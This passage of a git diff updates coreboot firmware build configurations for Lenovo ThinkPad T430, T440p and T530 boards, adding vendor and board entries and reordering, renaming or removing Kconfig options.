not set +# CONFIG_LTO is not set # CONFIG_IWYU is not set # CONFIG_FMD_GENPARSER is not set # CONFIG_UTIL_GENPARSER is not set @@ -40,7 +39,6 @@ CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set # CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set -# CONFIG_FW_CONFIG is not set # # Software Bill Of Materials (SBOM) @@ -58,10 +56,11 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # # CONFIG_VENDOR_51NB is not set # CONFIG_VENDOR_ACER is not set -# CONFIG_VENDOR_ADLINK is not set # CONFIG_VENDOR_AMD is not set +# CONFIG_VENDOR_AOOSTAR is not set # CONFIG_VENDOR_AOPEN is not set # CONFIG_VENDOR_APPLE is not set +# CONFIG_VENDOR_ARM is not set # CONFIG_VENDOR_ASROCK is not set # CONFIG_VENDOR_ASUS is not set # CONFIG_VENDOR_BIOSTAR is not set @@ -70,22 +69,28 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_VENDOR_CAVIUM is not set # CONFIG_VENDOR_CLEVO is not set # CONFIG_VENDOR_COMPULAB is not set +# CONFIG_VENDOR_CWWK is not set # CONFIG_VENDOR_DELL is not set # CONFIG_VENDOR_EMULATION is not set +# CONFIG_VENDOR_ERYING is not set # CONFIG_VENDOR_EXAMPLE is not set # CONFIG_VENDOR_FACEBOOK is not set # CONFIG_VENDOR_FOXCONN is not set +# CONFIG_VENDOR_FRAMEWORK is not set # CONFIG_VENDOR_GETAC is not set # CONFIG_VENDOR_GIGABYTE is not set # CONFIG_VENDOR_GOOGLE is not set +# CONFIG_VENDOR_HARDKERNEL is not set # CONFIG_VENDOR_HP is not set # CONFIG_VENDOR_IBASE is not set # CONFIG_VENDOR_IBM is not set # CONFIG_VENDOR_INTEL is not set # CONFIG_VENDOR_INVENTEC is not set # CONFIG_VENDOR_KONTRON is not set +# CONFIG_VENDOR_LATTEPANDA is not set CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_LIBRETREND is not set +# CONFIG_VENDOR_MITAC_COMPUTING is not set # CONFIG_VENDOR_MSI is not set # CONFIG_VENDOR_OCP is not set # CONFIG_VENDOR_OPENCELLULAR is not set @@ -96,6 +101,7 @@ CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_PRODRIVE is not set # CONFIG_VENDOR_PROTECTLI is not set # CONFIG_VENDOR_PURISM is not set +# CONFIG_VENDOR_RAPTOR_CS is not set # CONFIG_VENDOR_RAZER is not set # CONFIG_VENDOR_RODA is not set # CONFIG_VENDOR_SAMSUNG is not set @@ -106,7 +112,9 @@ CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_SUPERMICRO is not set # CONFIG_VENDOR_SYSTEM76 is not set # CONFIG_VENDOR_TI is not set +# CONFIG_VENDOR_TOPTON is not set # CONFIG_VENDOR_UP is not set +# CONFIG_VENDOR_VIA is not set CONFIG_BOARD_SPECIFIC_OPTIONS=y CONFIG_MAINBOARD_FAMILY="ThinkPad T430" CONFIG_MAINBOARD_PART_NUMBER="ThinkPad T430" @@ -123,22 +131,28 @@ CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=1600 CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=2560 CONFIG_MAX_CPUS=8 CONFIG_ONBOARD_VGA_IS_PRIMARY=y +CONFIG_OVERRIDE_DEVICETREE="" CONFIG_DEVICETREE="devicetree.cb" # CONFIG_VBOOT is not set -CONFIG_OVERRIDE_DEVICETREE="" # CONFIG_VGA_BIOS is not set +CONFIG_PCIEXP_ASPM=y +# CONFIG_PCIEXP_L1_SUB_STATE is not set +# CONFIG_PCIEXP_CLK_PM is not set CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="LENOVO" CONFIG_DRAM_RESET_GATE_GPIO=10 +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=64 +CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" +# CONFIG_FATAL_ASSERTS is not set +CONFIG_USBDEBUG_HCD_INDEX=2 CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/data.vbt" CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 +CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="ThinkPad T430" CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" -CONFIG_USBDEBUG_HCD_INDEX=2 +CONFIG_MAX_SOCKET=1 CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 CONFIG_TPM_PIRQ=0x0 -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=64 -CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" CONFIG_DCACHE_RAM_BASE=0xfefe0000 CONFIG_DCACHE_RAM_SIZE=0x20000 CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 @@ -157,7 +171,6 @@ CONFIG_CARDBUS_PLUGIN_SUPPORT=y CONFIG_SPI_FLASH_GIGADEVICE=y CONFIG_SPI_FLASH_STMICRO=y # CONFIG_DEBUG_SMI is not set -CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="ThinkPad T430" CONFIG_HAVE_IFD_BIN=y CONFIG_PCIEXP_HOTPLUG_BUSES=8 CONFIG_PCIEXP_HOTPLUG_MEM=0x800000 @@ -165,7 +178,11 @@ CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM=0x10000000 # CONFIG_BOARD_LENOVO_THINKPAD_T440P is not set # CONFIG_BOARD_LENOVO_THINKPAD_W541 is not set # CONFIG_BOARD_LENOVO_L520 is not set +# CONFIG_BOARD_LENOVO_THINKCENTRE_M900_TINY is not set +# CONFIG_BOARD_LENOVO_M920Q is not set # CONFIG_BOARD_LENOVO_S230U is not set +# CONFIG_BOARD_LENOVO_T480 is not set +# CONFIG_BOARD_LENOVO_T480S is not set # CONFIG_BOARD_LENOVO_T400 is not set # CONFIG_BOARD_LENOVO_T500 is not set # CONFIG_BOARD_LENOVO_R400 is not set @@ -185,6 +202,7 @@ CONFIG_BOARD_LENOVO_THINKPAD_T430=y # CONFIG_BOARD_LENOVO_Z61T is not set # CONFIG_BOARD_LENOVO_R60 is not set # CONFIG_BOARD_LENOVO_THINKCENTRE_A58 is not set +# CONFIG_BOARD_LENOVO_THINKCENTRE_M710S is not set # CONFIG_BOARD_LENOVO_X131E is not set # CONFIG_BOARD_LENOVO_X1_CARBON_GEN1 is not set # CONFIG_BOARD_LENOVO_X200 is not set @@ -199,18 +217,19 @@ CONFIG_BOARD_LENOVO_THINKPAD_T430=y # CONFIG_BOARD_LENOVO_X230_EDP is not set # CONFIG_BOARD_LENOVO_X60 is not set CONFIG_VBOOT_SLOTS_RW_AB=y -CONFIG_DRIVER_LENOVO_SERIALS=y CONFIG_PS2K_EISAID="PNP0303" CONFIG_PS2M_EISAID="LEN0015" CONFIG_THINKPADEC_HKEY_EISAID="LEN0068" CONFIG_GFX_GMA_PANEL_1_PORT="LVDS" +CONFIG_LENOVO_TBFW_BIN="" CONFIG_D3COLD_SUPPORT=y -CONFIG_PCIEXP_ASPM=y -# CONFIG_PCIEXP_L1_SUB_STATE is not set -# CONFIG_PCIEXP_CLK_PM is not set # CONFIG_DRIVERS_UART_8250IO is not set CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 +CONFIG_HEAP_SIZE=0x100000 CONFIG_EC_GPE_SCI=0x50 +CONFIG_EC_STARLABS_BATTERY_MODEL="Unknown" +CONFIG_EC_STARLABS_BATTERY_TYPE="LION" +CONFIG_EC_STARLABS_BATTERY_OEM="Unknown" CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" CONFIG_BOARD_ROMSIZE_KB_12288=y @@ -254,7 +273,7 @@ CONFIG_VERSTAGE_ADDR=0x2000000 CONFIG_SMM_TSEG_SIZE=0x800000 CONFIG_SMM_RESERVED_SIZE=0x100000 CONFIG_SMM_MODULE_STACK_SIZE=0x400 -# CONFIG_USE_EXP_X86_64_SUPPORT is not set +# CONFIG_USE_X86_64_SUPPORT is not set CONFIG_SERIRQ_CONTINUOUS_MODE=y CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xf0000000 @@ -274,6 +293,7 @@ CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 CONFIG_PCIEXP_COMMON_CLOCK=y CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 +CONFIG_DEBUG_STACK_OVERFLOW_BREAKPOINTS=y CONFIG_FIXED_SMBUS_IO_BASE=0x400 CONFIG_CBFS_CACHE_ALIGN=8 @@ -297,6 +317,7 @@ CONFIG_UDELAY_TSC=y CONFIG_TSC_MONOTONIC_TIMER=y CONFIG_TSC_SYNC_MFENCE=y CONFIG_HAVE_SMI_HANDLER=y +CONFIG_NEED_SMALL_2MB_PAGE_TABLES=y CONFIG_SMM_TSEG=y CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 CONFIG_AP_STACK_SIZE=0x800 @@ -320,6 +341,11 @@ CONFIG_NORTHBRIDGE_INTEL_SANDYBRIDGE=y # CONFIG_NATIVE_RAMINIT_IGNORE_XMP_REQUESTED_VOLTAGE is not set # CONFIG_RAMINIT_ALWAYS_ALLOW_DLL_OFF is not set CONFIG_RAMINIT_ENABLE_ECC=y +CONFIG_IGD_DEFAULT_UMA_SIZE_32MB=y +# CONFIG_IGD_DEFAULT_UMA_SIZE_64MB is not set +# CONFIG_IGD_DEFAULT_UMA_SIZE_96MB is not set +# CONFIG_IGD_DEFAULT_UMA_SIZE_128MB is not set +CONFIG_IGD_DEFAULT_UMA_INDEX=0 # # Southbridge @@ -382,6 +408,7 @@ CONFIG_HAVE_GBE_BIN=y # CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set # CONFIG_LOCK_MANAGEMENT_ENGINE is not set CONFIG_UNLOCK_FLASH_REGIONS=y +CONFIG_ACPI_FNKEY_GEN_SCANCODE=0 CONFIG_ARCH_X86=y CONFIG_ARCH_BOOTBLOCK_X86_32=y CONFIG_ARCH_VERSTAGE_X86_32=y @@ -389,7 +416,7 @@ CONFIG_ARCH_ROMSTAGE_X86_32=y CONFIG_ARCH_POSTCAR_X86_32=y CONFIG_ARCH_RAMSTAGE_X86_32=y CONFIG_ARCH_ALL_STAGES_X86_32=y -CONFIG_HAVE_EXP_X86_64_SUPPORT=y +CONFIG_HAVE_X86_64_SUPPORT=y CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y @@ -404,6 +431,10 @@ CONFIG_HAVE_CF9_RESET=y CONFIG_DEBUG_HW_BREAKPOINTS=y CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y # CONFIG_DUMP_SMBIOS_TYPE17 is not set +CONFIG_X86_BOOTBLOCK_EXTRA_PROGRAM_SZ=0 +CONFIG_DEFAULT_EBDA_LOWMEM=0x100000 +CONFIG_DEFAULT_EBDA_SEGMENT=0xF600 +CONFIG_DEFAULT_EBDA_SIZE=0x400 # end of Chipset # @@ -424,7 +455,7 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x100000 +CONFIG_DEFAULT_SCREEN_ROTATION_INT=0 # end of Display CONFIG_PCI=y @@ -459,6 +490,7 @@ CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 # CONFIG_ELOG is not set CONFIG_CACHE_MRC_SETTINGS=y # CONFIG_MRC_SETTINGS_PROTECT is not set +# CONFIG_DRIVERS_OPTION_CFR is not set # CONFIG_SMMSTORE is not set CONFIG_SPI_FLASH=y CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y @@ -485,6 +517,7 @@ CONFIG_HAVE_USBDEBUG_OPTIONS=y # CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set # CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set # CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set +CONFIG_DRIVER_LENOVO_SERIALS=y # CONFIG_DRIVERS_I2C_MAX98396 is not set CONFIG_INTEL_INT15=y CONFIG_INTEL_GMA_ACPI=y @@ -531,15 +564,15 @@ CONFIG_VBOOT_LIB=y # # Trusted Platform Module # -# CONFIG_NO_TPM is not set CONFIG_TPM1=y +# CONFIG_TPM2 is not set CONFIG_TPM=y CONFIG_MAINBOARD_HAS_TPM1=y # CONFIG_TPM_DEACTIVATE is not set # CONFIG_DEBUG_TPM is not set -# CONFIG_TPM_RDRESP_NEED_DELAY is not set # CONFIG_TPM_LOG_CB is not set CONFIG_TPM_LOG_TPM1=y +# CONFIG_TPM_LOG_TPM2 is not set CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 @@ -625,6 +658,7 @@ CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # # CONFIG_PAYLOAD_NONE is not set # CONFIG_PAYLOAD_ELF is not set +# CONFIG_PAYLOAD_FLAT_BINARY is not set # CONFIG_PAYLOAD_BOOTBOOT is not set # CONFIG_PAYLOAD_FILO is not set # CONFIG_PAYLOAD_GRUB2 is not set @@ -635,10 +669,8 @@ CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" -# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # @@ -674,7 +706,6 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # # General Debug Settings # -# CONFIG_FATAL_ASSERTS is not set # CONFIG_DEBUG_CBFS is not set CONFIG_HAVE_DEBUG_RAM_SETUP=y # CONFIG_DEBUG_RAM_SETUP is not set diff --git a/config/coreboot-t440p.config b/config/coreboot-t440p.config index 8021acd55..c9851bbb2 100644 --- a/config/coreboot-t440p.config +++ b/config/coreboot-t440p.config @@ -6,14 +6,13 @@ # # General setup # -CONFIG_COREBOOT_BUILD=y CONFIG_LOCALVERSION="" CONFIG_CBFS_PREFIX="fallback" CONFIG_COMPILER_GCC=y # CONFIG_COMPILER_LLVM_CLANG is not set -CONFIG_ARCH_SUPPORTS_CLANG=y # CONFIG_ANY_TOOLCHAIN is not set # CONFIG_CCACHE is not set +# CONFIG_LTO is not set # CONFIG_IWYU is not set # CONFIG_FMD_GENPARSER is not set # CONFIG_UTIL_GENPARSER is not set @@ -40,7 +39,6 @@ CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set # CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set -# CONFIG_FW_CONFIG is not set # # Software Bill Of Materials (SBOM) @@ -58,10 +56,11 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # # CONFIG_VENDOR_51NB is not set # CONFIG_VENDOR_ACER is not set -# CONFIG_VENDOR_ADLINK is not set # CONFIG_VENDOR_AMD is not set +# CONFIG_VENDOR_AOOSTAR is not set # CONFIG_VENDOR_AOPEN is not set # CONFIG_VENDOR_APPLE is not set +# CONFIG_VENDOR_ARM is not set # CONFIG_VENDOR_ASROCK is not set # CONFIG_VENDOR_ASUS is not set # CONFIG_VENDOR_BIOSTAR is not set @@ -70,22 +69,28 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_VENDOR_CAVIUM is not set # CONFIG_VENDOR_CLEVO is not set # CONFIG_VENDOR_COMPULAB is not set +# CONFIG_VENDOR_CWWK is not set # CONFIG_VENDOR_DELL is not set # CONFIG_VENDOR_EMULATION is not set +# CONFIG_VENDOR_ERYING is not set # CONFIG_VENDOR_EXAMPLE is not set # CONFIG_VENDOR_FACEBOOK is not set # CONFIG_VENDOR_FOXCONN is not set +# CONFIG_VENDOR_FRAMEWORK is not set # CONFIG_VENDOR_GETAC is not set # CONFIG_VENDOR_GIGABYTE is not set # CONFIG_VENDOR_GOOGLE is not set +# CONFIG_VENDOR_HARDKERNEL is not set # CONFIG_VENDOR_HP is not set # CONFIG_VENDOR_IBASE is not set # CONFIG_VENDOR_IBM is not set # CONFIG_VENDOR_INTEL is not set # CONFIG_VENDOR_INVENTEC is not set # CONFIG_VENDOR_KONTRON is not set +# CONFIG_VENDOR_LATTEPANDA is not set CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_LIBRETREND is not set +# CONFIG_VENDOR_MITAC_COMPUTING is not set # CONFIG_VENDOR_MSI is not set # CONFIG_VENDOR_OCP is not set # CONFIG_VENDOR_OPENCELLULAR is not set @@ -96,6 +101,7 @@ CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_PRODRIVE is not set # CONFIG_VENDOR_PROTECTLI is not set # CONFIG_VENDOR_PURISM is not set +# CONFIG_VENDOR_RAPTOR_CS is not set # CONFIG_VENDOR_RAZER is not set # CONFIG_VENDOR_RODA is not set # CONFIG_VENDOR_SAMSUNG is not set @@ -106,7 +112,9 @@ CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_SUPERMICRO is not set # CONFIG_VENDOR_SYSTEM76 is not set # CONFIG_VENDOR_TI is not set +# CONFIG_VENDOR_TOPTON is not set # CONFIG_VENDOR_UP is not set +# CONFIG_VENDOR_VIA is not set CONFIG_MAINBOARD_FAMILY="ThinkPad T440p" CONFIG_MAINBOARD_PART_NUMBER="ThinkPad T440p" CONFIG_MAINBOARD_VERSION="1.0" @@ -122,22 +130,28 @@ CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=1600 CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=2560 CONFIG_MAX_CPUS=8 # CONFIG_ONBOARD_VGA_IS_PRIMARY is not set -CONFIG_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/devicetree.cb" -# CONFIG_VBOOT is not set CONFIG_VARIANT_DIR="t440p" CONFIG_OVERRIDE_DEVICETREE="" +CONFIG_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/devicetree.cb" +# CONFIG_VBOOT is not set # CONFIG_VGA_BIOS is not set +CONFIG_PCIEXP_ASPM=y +CONFIG_PCIEXP_L1_SUB_STATE=y +CONFIG_PCIEXP_CLK_PM=y CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="LENOVO" +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=64 +CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" +# CONFIG_FATAL_ASSERTS is not set +CONFIG_USBDEBUG_HCD_INDEX=2 CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/variants/$(VARIANT_DIR)/data.vbt" CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 +CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="ThinkPad T440p" CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" -CONFIG_USBDEBUG_HCD_INDEX=2 +CONFIG_MAX_SOCKET=1 CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 CONFIG_TPM_PIRQ=0x0 -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=64 -CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" CONFIG_DCACHE_RAM_BASE=0xff7c0000 CONFIG_DCACHE_RAM_SIZE=0x10000 CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 @@ -158,12 +172,15 @@ CONFIG_CARDBUS_PLUGIN_SUPPORT=y CONFIG_SPI_FLASH_GIGADEVICE=y CONFIG_SPI_FLASH_STMICRO=y # CONFIG_DEBUG_SMI is not set -CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="ThinkPad T440p" CONFIG_HAVE_IFD_BIN=y CONFIG_BOARD_LENOVO_THINKPAD_T440P=y # CONFIG_BOARD_LENOVO_THINKPAD_W541 is not set # CONFIG_BOARD_LENOVO_L520 is not set +# CONFIG_BOARD_LENOVO_THINKCENTRE_M900_TINY is not set +# CONFIG_BOARD_LENOVO_M920Q is not set # CONFIG_BOARD_LENOVO_S230U is not set +# CONFIG_BOARD_LENOVO_T480 is not set +# CONFIG_BOARD_LENOVO_T480S is not set # CONFIG_BOARD_LENOVO_T400 is not set # CONFIG_BOARD_LENOVO_T500 is not set # CONFIG_BOARD_LENOVO_R400 is not set @@ -183,6 +200,7 @@ CONFIG_BOARD_LENOVO_THINKPAD_T440P=y # CONFIG_BOARD_LENOVO_Z61T is not set # CONFIG_BOARD_LENOVO_R60 is not set # CONFIG_BOARD_LENOVO_THINKCENTRE_A58 is not set +# CONFIG_BOARD_LENOVO_THINKCENTRE_M710S is not set # CONFIG_BOARD_LENOVO_X131E is not set # CONFIG_BOARD_LENOVO_X1_CARBON_GEN1 is not set # CONFIG_BOARD_LENOVO_X200 is not set @@ -202,14 +220,16 @@ CONFIG_PS2K_EISAID="LEN0071" CONFIG_PS2M_EISAID="LEN0036" CONFIG_THINKPADEC_HKEY_EISAID="LEN0068" CONFIG_GFX_GMA_PANEL_1_PORT="eDP" +CONFIG_LENOVO_TBFW_BIN="" CONFIG_D3COLD_SUPPORT=y -CONFIG_PCIEXP_ASPM=y -CONFIG_PCIEXP_L1_SUB_STATE=y -CONFIG_PCIEXP_CLK_PM=y CONFIG_GFX_GMA_PANEL_1_ON_EDP=y # CONFIG_DRIVERS_UART_8250IO is not set CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 +CONFIG_HEAP_SIZE=0x100000 CONFIG_EC_GPE_SCI=0x50 +CONFIG_EC_STARLABS_BATTERY_MODEL="Unknown" +CONFIG_EC_STARLABS_BATTERY_TYPE="LION" +CONFIG_EC_STARLABS_BATTERY_OEM="Unknown" CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" CONFIG_BOARD_ROMSIZE_KB_12288=y @@ -276,6 +296,7 @@ CONFIG_PCIEXP_COMMON_CLOCK=y CONFIG_DISABLE_ME_PCI=y CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=6 CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 +CONFIG_DEBUG_STACK_OVERFLOW_BREAKPOINTS=y CONFIG_FIXED_SMBUS_IO_BASE=0x400 CONFIG_CBFS_CACHE_ALIGN=8 @@ -381,6 +402,7 @@ CONFIG_HAVE_GBE_BIN=y # CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set # CONFIG_LOCK_MANAGEMENT_ENGINE is not set CONFIG_UNLOCK_FLASH_REGIONS=y +CONFIG_ACPI_FNKEY_GEN_SCANCODE=0 CONFIG_ARCH_X86=y CONFIG_ARCH_BOOTBLOCK_X86_32=y CONFIG_ARCH_VERSTAGE_X86_32=y @@ -402,6 +424,10 @@ CONFIG_HAVE_CF9_RESET=y CONFIG_DEBUG_HW_BREAKPOINTS=y CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y # CONFIG_DUMP_SMBIOS_TYPE17 is not set +CONFIG_X86_BOOTBLOCK_EXTRA_PROGRAM_SZ=0 +CONFIG_DEFAULT_EBDA_LOWMEM=0x100000 +CONFIG_DEFAULT_EBDA_SEGMENT=0xF600 +CONFIG_DEFAULT_EBDA_SIZE=0x400 # end of Chipset # @@ -422,7 +448,7 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x100000 +CONFIG_DEFAULT_SCREEN_ROTATION_INT=0 # end of Display CONFIG_PCI=y @@ -454,6 +480,7 @@ CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 # CONFIG_ELOG is not set CONFIG_CACHE_MRC_SETTINGS=y # CONFIG_MRC_SETTINGS_PROTECT is not set +# CONFIG_DRIVERS_OPTION_CFR is not set # CONFIG_SMMSTORE is not set CONFIG_SPI_FLASH=y CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y @@ -525,15 +552,15 @@ CONFIG_VBOOT_LIB=y # # Trusted Platform Module # -# CONFIG_NO_TPM is not set CONFIG_TPM1=y +# CONFIG_TPM2 is not set CONFIG_TPM=y CONFIG_MAINBOARD_HAS_TPM1=y # CONFIG_TPM_DEACTIVATE is not set # CONFIG_DEBUG_TPM is not set -# CONFIG_TPM_RDRESP_NEED_DELAY is not set # CONFIG_TPM_LOG_CB is not set CONFIG_TPM_LOG_TPM1=y +# CONFIG_TPM_LOG_TPM2 is not set CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 @@ -620,6 +647,7 @@ CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # # CONFIG_PAYLOAD_NONE is not set # CONFIG_PAYLOAD_ELF is not set +# CONFIG_PAYLOAD_FLAT_BINARY is not set # CONFIG_PAYLOAD_BOOTBOOT is not set # CONFIG_PAYLOAD_FILO is not set # CONFIG_PAYLOAD_GRUB2 is not set @@ -630,10 +658,8 @@ CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" -# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # @@ -669,7 +695,6 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # # General Debug Settings # -# CONFIG_FATAL_ASSERTS is not set # CONFIG_DEBUG_CBFS is not set CONFIG_HAVE_DEBUG_SMBUS=y # CONFIG_DEBUG_SMBUS is not set diff --git a/config/coreboot-t530-maximized.config b/config/coreboot-t530-maximized.config index 2008200d9..928a66305 100644 --- a/config/coreboot-t530-maximized.config +++ b/config/coreboot-t530-maximized.config @@ -6,14 +6,13 @@ # # General setup # -CONFIG_COREBOOT_BUILD=y CONFIG_LOCALVERSION="" CONFIG_CBFS_PREFIX="fallback" CONFIG_COMPILER_GCC=y # CONFIG_COMPILER_LLVM_CLANG is not set -CONFIG_ARCH_SUPPORTS_CLANG=y # CONFIG_ANY_TOOLCHAIN is not set # CONFIG_CCACHE is not set +# CONFIG_LTO is not set # CONFIG_IWYU is not set # CONFIG_FMD_GENPARSER is not set # CONFIG_UTIL_GENPARSER is not set @@ -39,7 +38,6 @@ CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set # CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set -# CONFIG_FW_CONFIG is not set # # Software Bill Of Materials (SBOM) @@ -57,10 +55,11 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # # CONFIG_VENDOR_51NB is not set # CONFIG_VENDOR_ACER is not set -# CONFIG_VENDOR_ADLINK is not set # CONFIG_VENDOR_AMD is not set +# CONFIG_VENDOR_AOOSTAR is not set # CONFIG_VENDOR_AOPEN is not set # CONFIG_VENDOR_APPLE is not set +# CONFIG_VENDOR_ARM is not set # CONFIG_VENDOR_ASROCK is not set # CONFIG_VENDOR_ASUS is not set # CONFIG_VENDOR_BIOSTAR is not set @@ -69,22 +68,28 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_VENDOR_CAVIUM is not set # CONFIG_VENDOR_CLEVO is not set # CONFIG_VENDOR_COMPULAB is not set +# CONFIG_VENDOR_CWWK is not set # CONFIG_VENDOR_DELL is not set # CONFIG_VENDOR_EMULATION is not set +# CONFIG_VENDOR_ERYING is not set # CONFIG_VENDOR_EXAMPLE is not set # CONFIG_VENDOR_FACEBOOK is not set # CONFIG_VENDOR_FOXCONN is not set +# CONFIG_VENDOR_FRAMEWORK is not set # CONFIG_VENDOR_GETAC is not set # CONFIG_VENDOR_GIGABYTE is not set # CONFIG_VENDOR_GOOGLE is not set +# CONFIG_VENDOR_HARDKERNEL is not set # CONFIG_VENDOR_HP is not set # CONFIG_VENDOR_IBASE is not set # CONFIG_VENDOR_IBM is not set # CONFIG_VENDOR_INTEL is not set # CONFIG_VENDOR_INVENTEC is not set # CONFIG_VENDOR_KONTRON is not set +# CONFIG_VENDOR_LATTEPANDA is not set 